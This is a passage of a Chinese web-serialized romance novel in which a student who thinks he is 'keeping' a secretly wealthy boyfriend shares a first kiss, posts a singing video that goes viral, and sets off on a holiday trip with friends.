最终落在不远处,正在跟一帮专业选手训练的大海身上。 霎时间, 脑海中灵光一闪。 他恍然大悟,恨不能一拍大腿。 祝闻声一定是产生了危机感,担心自己的位置会被别人取代,所以才会这样! 不然祝闻声这样一个直男中的直男,怎么会忽然说这种话? 就像是刚拿到offer没多久的应届生, 突然发现老板背着他, 又让HR去新的招聘会收其他大学生的简历。 能不紧张吗?能不担心吗? 能不努力证明一下, 自己比别的大学生好用吗? 难怪祝闻声会拉着陶真的手摸他的胸肌,还要努力证明,他的肌肉比大海的更好摸呢! 陶真仰起小脸,冲祝闻声露出了一个安慰的笑容。 嗯,必须得找个时间把祝闻声这个月的工资——不,包/养费给打过去,好让人安心一些了。 祝闻声低下头,视线落在陶真白皙漂亮的笑脸上。 少年的笑容灿烂柔软,水汪汪的眼里亮晶晶的,藏了满心满眼的喜欢,仿佛翻身将毛茸茸肚皮露出来的小动物。 他的指尖微微一动。 ——陶真会在乎他。 …… 这个周末,陶真收获颇丰。 不仅成功让陶大俊先生相信了他的对象不是打黑拳的,还成功摘下了第二个过二百万点赞的视频。软件后台暴涨的粉丝数已经过了十五万,让他兴奋得好像在做梦。 唯一的不幸大概就是在江叔那吃饭时烫到的舌头到第二天还没好,反而一碰就疼得斯哈斯哈的,连吃饭都变得很不方便。 贾嘉见他一早上愁眉苦脸的,问他发生了什么。 陶真叹了口气,哭丧着脸:“嘴巴疼。” “我跟我男朋友出去吃饭的时候弄下来的,本来以为含过冰就好了,结果没想到今天更严重了……” 金发少年蔫吧吧地垂着脑袋,小巧的唇瓣嫣红,看起来好不可怜。 贾嘉被他漂亮的小脸怔得晃神了两秒,反应过来才有些吃惊:“你有男朋友?” 陶真无精打采地点头:“对呀。” 难怪呢!贾嘉忍不住以拳抵唇,轻咳了两声,压下了心中那股变态的兴奋,义愤填膺地说:“都怪他,怎么把你弄得那么狠啊。” 陶真直觉这话听起来有点不对劲,但又说不出哪里不对,只好认真地反驳:“不。不是他的错,其实这事更多怪我自己不小心。” 贾嘉挑了挑眉毛,露出了一个恍然大悟的神情。 陶真张了张嘴,不知道为什么,总感觉女孩想的,跟他说的,并不是同一件事。 等上午四节连堂的课结束后,他的舌头还是火辣辣的,便没有跟贾嘉一块去食堂吃饭,只带着下午上课要用的书慢悠悠的去了另外一栋教学楼。 路上的时候,还顺便在风华绝代群里发了消息,将上午的对话复述了一遍。 群里诡异地安静了一会,过了片刻才弹出了满屏表情包。 【佟夏:接。】 【顾行舟:接接接接。】 【真知棒:??】 【真知棒:我被鸡汤烫伤了,你们在接什么?!】 【佟夏:……只是舌头被烫伤了?】 【顾行舟:难道不是跟你的一米八八腹肌男友亲得不知天地为何物,不小心咬伤了吗?】 【顾行舟:这年头大家时间都挺紧张的,不是[黄心]的信息就都别发了。】 陶真盯着那几行字看了几秒,差点一个踉跄跌到学校的人工湖里去。他停下步子,用力地在键盘上敲了无数个感叹号。那头的人这才正经了一些,勉强收起了玩笑。 【佟夏:说实话啊真宝,不是我们过度关心。这么长时间了,你跟你那个对象的进度,是不是略微有一点点慢了呢?】 【顾行舟:就是啊,正常的情侣关系,这时候也该亲个小嘴了。你们的关系甚至还是包.养,总不该连这一步都没到吧?】 【顾行舟:我们俩只是担心,你别是被他给骗钱了啊。】 “……” 陶真揉了揉发烫的脸颊和耳垂,慢慢平复了一下心情。佟夏和顾行舟两人一直比他要成熟一些,懂的东西也多,所以他一直都很信任这两个朋友。 他们说的其实也不错,成年人谈恋爱,有点亲近的行为再正常不过。而且,他们还是……那种关系。 可是,他不想强迫祝闻声和他接吻。 毕竟,祝闻声这种直男,是不会愿意的吧…… 手机屏渐渐熄灭,陶真站在教学楼下发了会呆,忽然感觉自己的余光一暗,一道高挑的人影在他身侧站定。 陶真以为自己占道了,赶忙收起手机,抬起头说:“抱歉……诶?祝闻声,你怎么在这里呀!” 祝闻声垂下眼,视线落在陶真说话时隐隐约约露出来的殷红舌尖上:“我刚下课,记得你下午也在礼学楼,所以就过来看一眼。” “怎么不去吃饭,舌头还疼么?” 陶真舔了舔舌尖,又感受到一阵刺麻的疼痛,臊眉耷眼地说:“……疼。” 距离上次发视频已经过了几天了,评论区已经有不少粉丝都在催更。他本想着趁热打铁,在热度风口上把下一条视频发出去,但现在这个情况貌似不太允许。 “能说话,但是不能碰到,不太舒服。” 祝闻声蹙眉,伸手握住陶真的下巴,轻轻掰开他的唇瓣:“是么?” 初秋的风带着点点凉意,正午时头顶高悬的太阳却又蒸腾出燥人的热气。 陶真被迫仰起头,张开洁白整齐的贝齿,只感觉身体一麻,好像有一群蚂蚁顺着后背爬了上来,惹起一阵难以言喻的痒。 眼前祝闻声俊美冷淡的容颜被无限放大,那双深邃幽黑的眸子仿佛能将一切都吸进去。 不知过了多久,陶真感觉自己的下巴都有点酸了,祝闻声才收回了手,神色平静地下了结论:“没有起泡,但是很红,可能表皮有一点损伤……我去医务室给你拿一点喷剂好不好?” 陶真摇头:“不用,这种伤过两天就好了。” 那种医用的喷剂又苦又痛,他不喜欢。 他自以为抗拒的神情相当隐蔽,祝闻声却已经看出了他的“娇气”,垂眸盯了他几秒,淡声说:“真的不用么?” 陶真飞快摇头:“不。” 他连西瓜霜都觉得苦! 两人僵持了片刻,最终还是祝闻声妥协了:“行,那算了。” 也许是因为好心被当成了驴肝肺,跟陶真一块上楼去放书的路上,祝闻声一直都保持着沉默。 而且才到空荡荡的教室里,凳子都没坐热,他便又站起了身,找借口说自己要出去一趟。 陶真眨了眨眼,半晌才木木地“哦”了一声,目送着他的背影。 是生气了吗? 觉得他这个金.主太不好伺候了? 其实不仅应届生害怕offer跑路,老板也害怕合心意的大学生会跳槽…… 陶真难得胡思乱想了一会,在原地来回踱步,一早上没吃东西的饥饿和疲惫席卷了他的全身,令他无精打采地垂下了脑袋。 下一刻,教室的门被人打开。 祝闻声从不远处走来,手里提着一袋沉甸甸的东西,在课桌上放下,沁出一阵潮湿的水汽。 陶真一怔:“这是……?” 塑料袋簌簌作响,祝闻声没说话,只把里面的东西一样一样地往外拿。冷藏的牛奶、补充体力的巧克力、易于入口的土豆泥沙拉……以及一大罐,冰镇的黄桃罐头。 他从口袋取出了一把包装好的小铁勺,替陶真拧开了罐头盖。 “听说吃糖罐头会没那么疼,”祝闻声的语气温和平静,“要试一下吗?” 原来,祝闻声不是嫌他烦,是去超市为他买了这些啊。 陶真呆呆地在原地坐了两秒,被祝闻声又递了一下勺子才反应过来,匆忙接过,挖了大半个圆溜溜黄澄澄的桃: “……好!” 冰凉的桃子入口,味道甜津津的,立刻就抚平了舌上的刺痛。 陶真一口气吃了好几块,速度才渐渐地慢了下来,好像被罐头拉回到了小时候。 以前他感冒生病,陶大俊和林曼妙就会用黄桃罐头哄他。 可长大以后,父母越来越忙,他便没怎么吃过了。 “有好一点么?”祝闻声问。 陶真的心口有股鼓鼓胀胀的感觉,他笑眯眯地叼着小半块桃子,冲祝闻声用力地点头,含糊不清地说: “好多了!这罐头特别好吃……你要不要尝一尝?” 祝闻声垂眸,望着陶真红扑扑的笑脸,轻轻点了点头。 陶真立刻伸手,将勺柄往他的方向递了递。 下一刻,却见他径直掠过了勺子,俯身靠了下来,咬走了自己唇边那一小块甜津津的黄桃。 果肉发出清脆的“咔嚓”声。 两人温热的鼻息交织在一起,短暂地缠绵了几秒。 陶真冰凉的舌尖被祝闻声滚烫的唇瓣用力碾过,燎起一阵令人头晕目眩的火焰。 “嗯,尝过了,”祝闻声坐直了身子,尾调微扬地轻声说,“的确很好吃。” 午后的教室空无一人,厚实的窗帘垂下,遮住了大部分燥热明艳的光芒,也阻隔了远处学生们吵嚷的交谈声。 耳畔的心跳声却如雷鸣般鼓噪,分不清到底从何而来。陶真如同溺水之人刚上岸一般,剧烈地吸了一口气,整个人的大脑还处于发懵状态。 舌尖上似乎还残留着刚刚的触感。 柔软,温热,混杂着糖水罐头清甜的味道和浅浅的桃子香。 这到底是一个蜻蜓点水般的吻,还是祝闻声的无心之举? 过了好几秒,陶真也没能在心中下一个准确的判断,纤长的睫羽湿漉漉地乱眨,嫣红潮湿的唇瓣不自觉地颤了颤,用勺子猛地挖了一大勺黄桃塞进嘴巴里,像是要给两人相触的地方降降温。 “是吧……”他乌溜溜的眼睛到处乱看,向来清朗的声音有些含糊不清,“我也觉得……挺好吃的……” 祝闻声将口中那小半块桃肉咽了下去,黑眸沉沉,轻轻地“嗯”了一声。 金发少年笑盈盈的,用恋慕的眼神望着他,摆出了一副敬请品尝的邀请姿态。他被诱惑了,情不自禁地上前,想要尝一尝少年的味道。 的确很甜。舌尖仿佛被糖水浸透了,嫣红,柔软。如果换做别人,一定不会只轻描淡写地碰一碰便克制地离开。 反而会钳住陶真纤细的腰肢,将他摁在桌沿继续深入。 祝闻声觉得,自己已经很有自制力了。 “我吃饱了,舌头也好了,不疼了,” 陶真脑袋里一片空白,只能凭着本能机械地开口:“那个……把手机拿出来吧,替我录唱歌的视频,行吗?” 祝闻声又盯着陶真看了几秒,终于大发慈悲地收回了目光:“好。今天准备唱什么?” 陶真喝了口自己杯子里的水润了润喉咙,将嗓子眼里的那股甜腻压下去,确认自己的状态还行,才翻了翻音乐软件,将那首早就躺在列表里,却被《宝贝》临时插了队的歌点开给祝闻声看。 伍佰的《Last Dance》。 整首歌略微古早,踢踢踏踏的明显鼓点,流行摇滚的风格,配上原歌手沙哑却又极有质感的独特音色,跟《挪威的森林》一样,都是很难翻唱好听的歌曲。 毕竟歌的岁数都已经比陶真要大了,人们对它有着先入为主的观念,早就适应了原唱。况且,原唱唱得是恋人离别的依依不舍,这是以陶真这个年纪和阅历很难表达出来的东西。 祝闻声的目光扫过歌词,不置可否地调整好拍摄镜头。 昏暗寂静的室内,空气中漂浮着轻柔又暧昧的气氛。 少年的一个吻,好像捉摸不定的玩笑,分不清到底是为工作卖身的无奈,还是向彼此靠近的情不自禁。 陶真深呼吸了一口气,食指和中指并起,挡在眼前。 “所以暂时将你眼睛闭了起来。” “黑暗之中漂浮我的期待。” “平静面孔映着缤纷色彩。” “让人好不疼爱。” “……” 祝闻声的指节微微攥紧了手机,视线从屏幕里挪开,落在陶真的脸上。金发少年的声音清朗又温柔,和原唱截然不同的两种风格,却意外极其契合这首歌。 比起对恋人即将离去的不舍,更像是诉说着恋人若即若离的烦恼心事。 一曲结束。 陶真已经越来越能够适应在祝闻声的面前唱歌,整首下来,没有一个不当的停顿和卡壳。 他慢慢放下了挡在眼前的指节,掀开了一直低垂的眼皮,猝不及防地撞进了祝闻声沉沉的双眸里。 “陶真。”祝闻声低声喊。 “啊。” 陶真回神,歌声的余韵气氛还停留在心头,他乖乖地眨了两下眼:“怎么了吗?” 祝闻声俯身,与陶真越靠越近。 两人的鼻尖几乎快要碰到一起,灼热缠绵的呼吸再度交融。唇瓣之间的距离少得可怜。 “刚刚亲你的那一下,很抱歉。” “……” “我不知道你不愿意。” 陶真懵了,心脏噗通噗通。 原来刚刚不是他的错觉,真的是祝闻声低下头主动亲他! “不用对不起…我没有不愿意,我很喜欢!只是……” 摇晃了许久的碳酸饮料被拧开,冲出一滩酸酸甜甜的气泡。 和祝闻声轻轻贴吻的喜悦,融杂在对他被生计所迫、不得不向金主低头的心酸里。 陶真只感觉冲到脸颊的那股热血渐渐凉了下去,他莫名有点点忧伤,祝闻声会主动亲他,大概是真的被之前他去俱乐部摸大海那件事刺激到了吧? 所以才会突然拉快两人之间的进度条,努力证明,自己其实还有被包.养的价值…… 祝闻声定定地望着陶真,只见他红着脸,慢慢地低下头,睫毛扑簌簌地抖了抖,吞吞吐吐地说:“下次要亲的时候,可不可以提前跟我说一声呀?” 模样乖巧又羞涩。 好像很不好意思那样。 祝闻声心头微微一动,有种隐秘难言的愉快。他微微勾起唇角,低声说:“好。” 两人录完歌,时间已经不早了,教室里已经陆陆续续有上课的学生提前过来占座,将只能容纳六十人左右的小教室塞得满满当当的。 祝闻声这个编外人员便起身,跟陶真说了再见,把位置让了出来。他下午没课,索性直接回了俱乐部,完成自己今天的训练任务。 然而,才刚踏进训练部的大门,他就看见了一个不速之客。 许久未见的赵钊吊儿郎当地躺在沙发上,双腿懒洋洋地搭着茶几玩手机。一见到他,便眼睛一亮,一骨碌爬了起来:“祝少!我亲爱的太子爷——” 祝闻声被他这句恶心得不轻,知道他每次这么说话准没好事,于是冷飕飕地扫了他一眼:“有事启奏。” “借我点钱呗,”赵钊直接摊牌,用那张极浪荡的花花公子脸冲祝闻声抛了几个媚眼,“我前段时间不是和我表哥他们在搞大禹湾那边的沙滩乐园项目吗?结果宣传实在是花了太多钱,现在手头有点紧,有点周转不开……” “就差一个收尾和启动仪式了,大概三四百万左右。借给我呗,之后请你去那边玩水行不?” 祝闻声原本都已经从口袋掏手机、准备让人转账了,闻言淡淡地扫了他一眼,又把手机塞了回去。 赵钊笑不出来了,就差给他跪下了:“哥,你是我亲哥,我开玩笑的。你要是去那边,我让他们喊八抬大轿伺候你和你的小对象……” 祝闻声拿开赵钊抱住他大腿的手,勉为其难地答应了。 赵钊如释重负地松了口气,趴在沙发上,眼巴巴地盯着他联系人帮忙处理转账手续。 正在那五百万即将进入流程时,祝闻声忽然收到了几条微信,吸引了两人的目光。 【真知棒:[转账:50000元]】 【真知棒:上次没提这件事,现在我想认真地说一遍,我真的对其他人没想法,只想养你一个人!】 【真知棒:所以你放心哦,以后缺钱了一定要跟我说,一定要对自己好一点![星星眼]】 “……” 赵钊的目光逐渐石化,他差点一个踉跄从沙发滚到地上去,怔了几秒才敢相信自己看见了什么内容。 “祝闻声,”他的语气呆滞茫然,“你上次说自己被包.养了,真的不是在跟我开玩笑啊?” 祝闻声手上的动作停住,视线落在陶真给他发来的信息上,不置一词。 赵钊更加抓狂了:“是,我知道现在是经济下行了!可也不至于下行到连你也去下海吧!” “我不跟你借钱了,我反过来给你打五百万,能不能帮你赎身?……哥,我求你了,你清醒一点!!” 祝闻声垂眼,一字一句地回复完陶真的消息,才慢条斯理地将借给赵钊的钱打了过去,神色平静地扫了他一眼: “你不懂。” 他就乐意被陶真包.养。 当太子爷,有当陶真的对象幸福么? 【📢作者有话说】 谢谢宝宝们的支持呀,今天留评依然掉落小红包[捂脸偷看][求你了][求求你了] 24 ? 第 24 章 ◎陶真总有种自己在逼良为.娼的感觉。◎ 讲台上的老师正在滔滔不绝地讲着天书, 陶真悄咪咪地躲在桌下,屏息凝神。在祝闻声的回复弹出来后,他一时间竟没敢看, 微微眯起眼,将那一行字尽收眼底—— 【S:嗯, 我也只被你一个人养。】 悬到嗓子眼的心脏回归了原位,纠结凌乱的心情也渐渐平复,陶真呼出一口气, 慢慢地将手机收了起来。 都已经这么说了,祝闻声应该不会再担心自己的位置被人取代了吧? 教室里的窗帘被拉开了, 两侧耀眼的阳光从树影缝隙里照了进来,洒了满地灿烂的光斑。 陶真有些惆怅地支着下巴,心里莫名有些过意不去。 祝闻声真的是个很好的人,又努力又上进, 而且还很贴心, 以后肯定会有大出息。 唯一的缺点就是太穷了, 要不然也不会委身于自己。 所以,陶真总有种, 自己在强行逼良为娼的感觉。 …… 也许是黄桃罐头起了作用,陶真再休息了一两天, 舌头上的伤口便彻底好了。 他趁着有空的时间把视频剪辑调整了一下,在晚上流量比较高的时候发了出去。 “真知棒”这个号经过前两期视频,已经积累下了不少一批粉丝。新视频一发,他们就收到了通知,“哗啦啦”如同潮水一般涌进了评论区, 嚎叫着以各种方式占前排。 【薄荷奶绿好喝:看我发现了什么宝藏!!】 【巧克力:啊啊啊啊博主每一期视频的质量都好高, 这次更是美得我上蹿下跳!】 【碱水面包干:哇, 这是新人博主还是MCN起的号啊,这视频简直条条爆,天生自媒体圣体啊!慕了慕了!】 大部分人都跟之前一样,疯狂夸赞陶真的歌声和脸蛋。毕竟视频拍的实在是很好: 空荡昏暗的教室里,金发少年坐于窗边,双目微合,低声唱着一首恋恋不舍、如怨如慕的情歌,很有自己独特的创新点和记忆点。 他三条视频的风格相当类似,可内容和小巧思都并不相同,这种类似垂直的内容最容易在短时间内吸来一大波粉丝了。 但问题也会接踵而至,人口基数大了,并不是所有人都带着善意去看他的视频。 有不少男人看见他爆火的视频底下有无数女孩呼朋引伴,心生嫉妒,发表一些酸溜溜的鄙夷言论。 【X理工第一帅:一看就是化妆画出来的,不知道磨皮和滤镜都开得多大了,也就你们这些女的会喜欢这种小白脸[抠鼻]这种在我们学校里都排不上号。】 【东方彦祖:什么年头了,怎么还有人喜欢听这么土的歌啊?连我爸都不听了,这种歌也能火??】 【她与梦想皆失:也就只能生活在网上了,没实力啊老弟,有本事到现实里拼一拼[图片]】 陶真有点好奇地点进了图片,看见了一辆车标硕大的奔驰,再仔仔细细地放大看一眼,发现这标并不是原装。这辆“奔驰”,从车前灯到车尾灯,浑身装备都是从别的地方东拼西凑来的。 “……” 他不想跟这种像吴斌的家伙多说些什么,正要退出图片,就忽然看见这些酸溜溜的评论底下一下子弹出了十几条回复。 【回复:我的妈呀时代真是进步了,猪头肉也能操控键盘上网了。博主在你们X理工的确排不上号,因为你们那边选校草的人有异食癖^^】 【回复:不好意思啊,听这种“土歌”的人还是很多的呢。你爸不听是为啥啊?不会是因为听不见了吧?】 【回复:恭喜零二年老弟喜提零一年拼好车。这奔驰我不敢坐啊,我怕上面有魂环。】 这些帮他说话的人一个个都妙语连珠,轻而易举地就将阴阳怪气他的人怼得恼羞成怒。光这样还不够,她们还杀人诛心,把这几期视频里陶真的衣服、车、学校,一条条地列了出来,狠狠地甩在了这几个男人的脸上。 片刻后,他们连满嘴喷粪的力气都没了,只好哑口无言地删了评论,把账号设置成了私密。 陶真看着这些为他冲锋陷阵的女孩们,难得有些怔愣在原地。 点进她们的个人主页才发现,她们从他发第一条视频就关注他了,不仅点赞评论收藏一条龙,还给他画了他的Q版形象小人,在私信里鼓励他唱歌真的很好听。 心里好像有一阵暖洋洋的热流涌过,陶真将Q版小人一一保存下来,认认真真地欣赏了好半天,又挨个给她们发了一溜排的红包。 那头的女孩们雄赳赳气昂昂地从评论区征战回来,点进自己私信页面时,看见的就是888人民币的橙色转账条。 她们险些一个趔趄,来不及尖叫,先给陶真回了一串“???” 见她们都想婉拒,陶真想了想,添了几句。 【真知棒:收着吧,就当是我感谢你们为我画的画!这些图都很可爱,我很喜欢。】 【真知棒:不过以后不用为了我跟这种人争论,万一威胁了你们自己的隐私安全就不好了,上网嘛,大家都是为了开心来的。】 【真知棒:我不在乎他们怎么说我的。他们怎么说是他们的事,听听就好,不要信。】 能在网上为了自己不喜欢的人付出这么大的精力,千方百计也要诋毁那人、讽刺那人,除了证明自己的生活不好过之外,什么都证明不了。 陶真并没有在这件事上花费过多的心神,毕竟他的第三条视频很快也上了本周热门。 许多MCN公司都快把他的私信问爆了,但一想到之后可能要配合公司进行各种拍摄,万一还有线下的活动……他就暂时放下了心思。 他本人不觉得有什么,旁人却觉得很可惜,尤其是佟夏和顾行舟。 他们两人当然是为了陶真好,陶真心里也明白的很,只不过不好意思讲自己一在旁人面前唱歌就会手脚冰凉、大汗淋漓的事,干脆地岔开话题。 【真知棒:说起来,上次你们不是问我什么时候跟我对象更进一步吗?我忘了说,我们已经亲亲过了!】 【佟夏:别扯开话题,你现在账号做得这么厉害,到底为什么……等一下?你跟你对象干什么了??】 【顾行舟:卧槽?!】 群通话下一秒就响了起来,陶真刚接起来,就听见对面两人如狼似虎的咆哮。他们说陶真简直就是算盘珠子——不拨不动。陶真试图插科打诨卖萌过关,却被无情制止,刑讯逼供似的问了一大通,好不容易才勉强结束了话题。 佟顾两人却还意犹未尽,他们现在对陶真包.养的这个男生实在是太好奇了:“国庆节不是快到了吗,你把你那个小男友带着,我们一块去江城玩吧?也让我们认识一下呀!” “对,我听说那边新建设了一个大禹湾,请了好多明星网红过去打卡,好像还挺火的呢!” 陶真心中一动,自打暑假搬到南城来之后,他很久没见到两个朋友了。 而且跟祝闻声“谈恋爱”这么长时间以来,他们都还没怎么正儿八经地出去玩过。 “行,我打个电话问他一下,”陶真犹豫了一下,“不过我不能保证他一定会出来,毕竟他练习格斗还是很忙的。” 佟夏和顾行舟两人满口答应。 …… 的确要到国庆节了,即将到来的七天假期让学校和公司里“人心涣散”,每个人都躁动不安,无心学习工作。 就连Light俱乐部里的众人也一样,见普通会员们都笑嘻嘻地讨论着等下要去哪里哪里玩,专业格斗运动员们心中难免羡慕,再三商量后,打算派出一个代表,代替集体向教练请愿。 “刘总教!” 大海被身后围了一圈的兄弟们往外推了一把,紧张兮兮地捏紧了自己的背心:“是这样的,距离我们下一场比赛还有一段时间,但是我们从八月份开始到现在,一共就休息了三四天,大家都觉得有点累了……” 总教抬起头,视线扫过表情讪讪的众人:“所以呢?” “所以我们想,国庆节不是快要到了吗,”大海嘿嘿一笑,一副伏低做小的神态,“能不能趁着这个机会,给我们放几天假期呢?” 总教合上了训练表,陷入了沉思。 的确,格斗竞技这一行不能松懈,不过这帮小崽子们这段时间没有比赛,也不是不能暂时放松一下…… 楼梯忽然传来一阵不紧不慢的脚步声,祝闻声拎着拳套表情淡淡地走了过来,打断了总教的思绪。 “不行!”总教忽然斩钉截铁地说,“你们一个个全都练好了?横扫能撂倒对手了?裸绞不会被挣开了?” “你们S哥从进俱乐部开始,就从来没有哪天是真正意义上‘休息’过的,就算请假了几个小时,回来也要把时间补上,”他越说越恨铁不成钢,“你们怎么不能跟他学一学呢?啊?” 以大海为首的众人鹌鹑一样低下了脑袋,乖乖地挨训。 祝闻声淡淡地扫了一眼他们,薄唇轻启,似乎想说些什么,却先被振动的手机吸引了目光。 接起电话,那头传来陶真清朗又期待的声音:“祝闻声,你国庆节假期有空嘛?” 祝闻声顿了顿,将手中的拳套放下了,低声问道:“有什么事么?” “唔,也不算有事,”陶真想了想,“我朋友他们喊我出去玩,想要我把你也带上,跟他们见个面。” “你朋友?” “对,我从小玩到大的两个发小。他们知道我们俩……就挺想见你一面的。当然,我已经说过了你很忙,所以你要是在俱乐部训练的话就算了。” “……” 祝闻声安静片刻,对电话那头说了句什么。 几秒后,他挂断电话,径直向滔滔不绝的总教走去,淡淡地打断道:“刘教,给他们放个假吧。” 众人眼睛唰地一下亮起,看向祝闻声的目光宛如看见了再生父母。 总教倒是一噎,有点吃惊地转头看向祝闻声:“你怎么……” 祝闻声不紧不慢,淡声道:“因为,我这次假期也要休息。” “……???”- 放假第一天,城市内外人山人海。 高铁站、机场、地铁站,街道,到处都挤得水泄不通。从南城到江城的距离比较近,坐飞机反而会花费更多的时间,故而高铁才是最热门的,一早就被抢得七七八八。 陶真好不容易和祝闻声买到了两张商务座,本以为这样会稍微轻松清净一些,却实在是低估了七天长假的人流量。 从上车开始,耳畔吵吵嚷嚷的声音就没有停过。拿着恐龙玩具的熊孩子从车厢这头跑到那头,惹得众人怨声载道。 就连向来冷淡漠然的祝闻声都蹙了蹙眉,面色微沉地揉了揉眉心,闭目养神。 见状,陶真乌溜溜的眼睛眨了眨。 思考了几秒,他忽然起身,往车厢乘务员的方向走了过去。 这个举动自然引起了旁人的注意。有人忍不住偷偷地跟身边的朋友吐槽: “没用的,我刚刚就试过了。就算跟乘务员反馈过,跟家长吐槽,也管不了这种死熊孩子。” 旁边的人简直不能更赞同,抬头看向陶真的目光中都带了些许遗憾和怜悯,仿佛又看见了一个无功而返的勇士。 然而事情的发展出乎所有人的意料。 不知陶真到底在后面做了什么,短短的几分钟内,车厢内喧哗尖叫的声音渐渐消失,周遭重归寂静。 他则脚步轻快地回到了自己的座位,笑眯眯地看了一眼身侧的祝闻声。 祝闻声自然也注意到了环境的变化,下意识地掀起眼睫,与陶真对视。 “想问我是怎么做到的?”陶真抢先一步说完,神秘兮兮地冲祝闻声勾了勾手心,“我悄悄告诉你。” 金发少年呼吸温热,晶亮的双眸里仿佛缀着星点。祝闻声的呼吸微乱了一拍,往他的方向靠了过去,两人鼻尖的距离只剩下一拳,几乎能嗅见彼此身上浅淡的沐浴露味。 “我找乘务员买了列车上的模型玩具,把它们全部都拆散打乱,然后告诉那几个小孩,如果他们能全程保持安静,靠自己把模型拼起来,就把东西送给他们。” 温热的呼吸喷洒在耳畔,陶真眉眼弯弯:“我小时候跟我爸妈出门之前,他们就会提前给我买好玩具,就这样对付我。” 祝闻声心脏忽地重重跳了一拍,他扭过头,视线落在不远处那几个满头大汗的小孩身上,仿佛在他们之中“看见”了一个眉目精致、唇红齿白的小陶真。 活泼却并不烦人,笑盈盈地捧着玩具摆弄,不知道自己多像是一只幼猫,一旦用雪白粉嫩的爪子来回拨着逗猫棒,就忘了因不安而喵喵叫。 “怎么样,”陶真有些得意,那根看不见的尾巴都高高翘了起来,压低声音,“我聪明吗?” 四周安静了,祝闻声抽痛的眉心忽然就缓解了许多。 他微微勾起唇角,轻声道:“嗯,特别聪明。” 陶真心满意足地坐回了自己的位置,白皙小脸上双眸明亮。 没过多久,广播女声播报:“列车即将到达下一站,请收拾好您的随身物品……” 车速渐渐慢了下来,一侧出现了站台。准备下车的众人在门口等待,其余那些乘客看了一眼仍在抱着玩具埋头苦拼的熊孩子,这才恍然大悟,对陶真露出了感激的神色。 陶真只扬起一个灿烂的笑,跟祝闻声越过汹涌的人潮。 才走到高铁出站口,他们便看见了顾行舟。 这个妖娆小gay的打扮一如既往,穿着一身格外骚包的长袖斜肩针织衫,裤子也是微微紧身的喇叭裤,小黑魔仙一样冲陶真跑了过来,猛猛将他一抱:“真宝!!” 许久未见,陶真也很激动,兴奋又大声:“子涵!” 顾行舟登时笑不出来了,气急败坏地瞪了陶真一眼:“你真是跟佟夏学坏了!” 陶真嘿嘿一笑,扭头看向一旁顺手接过他行李的祝闻声,开口介绍道:“这位是顾行舟,子涵是他曾用名,现在已经不这么叫了。” 祝闻声看了一眼两人紧紧相贴的肩腰,很快地收回了目光,冲顾行舟点了点头:“你好,我叫祝闻声。” “你好你好,我知道,听真宝跟我们提过的。” 面对兄弟对象时,顾行舟立刻正经了起来,简直给人一种直男的感觉。他的目光简单扫过祝闻声,审视一番,没找到什么错漏,“都是朋友,接下来几天咱们一起好好玩。” 祝闻声礼貌地笑了一下,也不知为何,捏着行李的骨节微微用力。 高铁站门口太过拥挤,三人找了个空荡一些的地方暂时停下。陶真看了眼时间,有点好奇:“夏夏怎么还没到呀?” 顾行舟一个激灵:“我去,差点忘了。夏夏昨天临时出发前才跟我说,她今天要带她朋友一起来玩,所以可能要磨蹭一点。” 陶真有点好奇:“嗯?哪个朋友?” “就是那个……”顾行舟看了一眼祝闻声,似乎是觉得有点丢人,“她把人家当老婆,人家把她当闺蜜。” “后来人家谈了恋爱,又分手。她全程心疼得不行,问人家要不要出来散散心。” 陶真叹为观止,欲言又止:“夏夏她……” “我们还是鼓励一下她吧,能坚持当这么长时间的舔.狗也挺不容易的,”顾行舟幽幽地说,“她那个朋友说自己已经看透男人了,也许她这次真有机会呢。” “……” “好吧……那她朋友为什么跟男朋友分手?让她赶快规避一下类似的错误呀。” “这个不用担心,那个男的纯属是脑子有毛病,夏夏不可能跟他一样!”顾行舟似乎对那男人的行为很不齿,大大地翻了个白眼,“你见过那种明明自己有钱,却要在女朋友面前装穷卖惨的软饭男吗?” 一向对这种情感八卦并不感兴趣、安静站在一边的祝闻声,忽然抬起了头。 陶真满脸稀奇:“没见过,是什么样子的?” 见有观众,顾行舟愈发兴奋地清了清嗓子:“有钱买最新款手机、手表、AJ,但是跟女朋友出去吃饭结账的时候,借口说自己要出去上厕所,然后让女朋友付钱。” “看中了女朋友亲哥的外套,舍不得自己买,就每天在她耳边念叨,最后趁着她哥哥没注意的时候,把那件外套偷偷自己留下来了。” 陶真听得眉头紧锁:“这什么人啊……” “哈!这还不是最绝的。最绝的你知道是什么吗?”顾行舟做了个夸张的表情,“这男的明明自己家里有车,但是在跟女朋友出来吃饭的时候,说自己是打的出租!让女朋友A油费!” “这也太不是个东西了!”陶真怒道:“难怪他女朋友跟他分手呢,换成是谁谁不分呀!” “是吧!” 两人义愤填膺地谈论了起来,身侧的祝闻声却陷入了沉默,修长粗粝的指节扣着行李箱把手的边缘,青筋越来越明显。 片刻后,还是陶真注意到了他的失神,停下了滔滔不绝,有点担心地牵住了他的衣角。 祝闻声猝然回神,垂眸看向陶真,喉间有些干涩,心脏跳得有些快。 陶真摇了摇他的衣角,双眼极清澈:“我们刚刚说的是那个人明明有钱还装穷,故意骗女朋友,这种行为真的很坏。” “但这些都跟你没关系,你不许胡思乱想,好吗?” “……” 祝闻声喉结滑了滑,有点艰难地“嗯”了一声。 见状,顾行舟也意识到自己刚刚扫射“软饭男”的范围有些大,充满歉意地看了眼陶真和祝闻声,赶快闭上了嘴。 三人又一块在高铁站附近等了一会,佟夏终于和朋友姗姗来迟。 佟夏长着一张甜美的萌妹脸,穿着繁复的洛丽塔;身边的朋友却是御姐风格的,一身红裙衬得她身材极好,自我介绍叫江姗。 奇怪的是,说着要来散心,江姗的脸上倒没有特别多伤心的表情,反而格外平和,甚至还能帮佟夏提着箱子。 不过这几个箱子最后还是到了祝闻声的手里。他力气极大,这些把旁人拉得气喘吁吁的东西,在他手里就跟没重量一样。 上了出租车,往原先订好的度假酒店去。 越靠近目的地,周遭的风景就越来越漂亮,翠绿椰林,婆娑树影,碧蓝海浪。 绕过一大片私家车,几人终于在度假村入口站定。 众人有点兴奋地念道:“大、禹、湾——” 祝闻声听见这几个字,心中咯噔一跳,下意识地抬起头。 而不远处,赵钊表哥——赵烨,也在一群黑西装领导的包围下笑呵呵地走了出来。 相隔不过十几米的距离,两人的视线下一刻便在空中交汇。 “所以说我们这个项目……诶!” 赵烨的眼睛“唰”地一下亮了,用力地拍了拍身边的同伴,不顾仪态和风度,大跨步地向祝闻声的方向跑来。 “祝少!” 【📢作者有话说】 今天依然掉落小红包[抱抱][可怜] 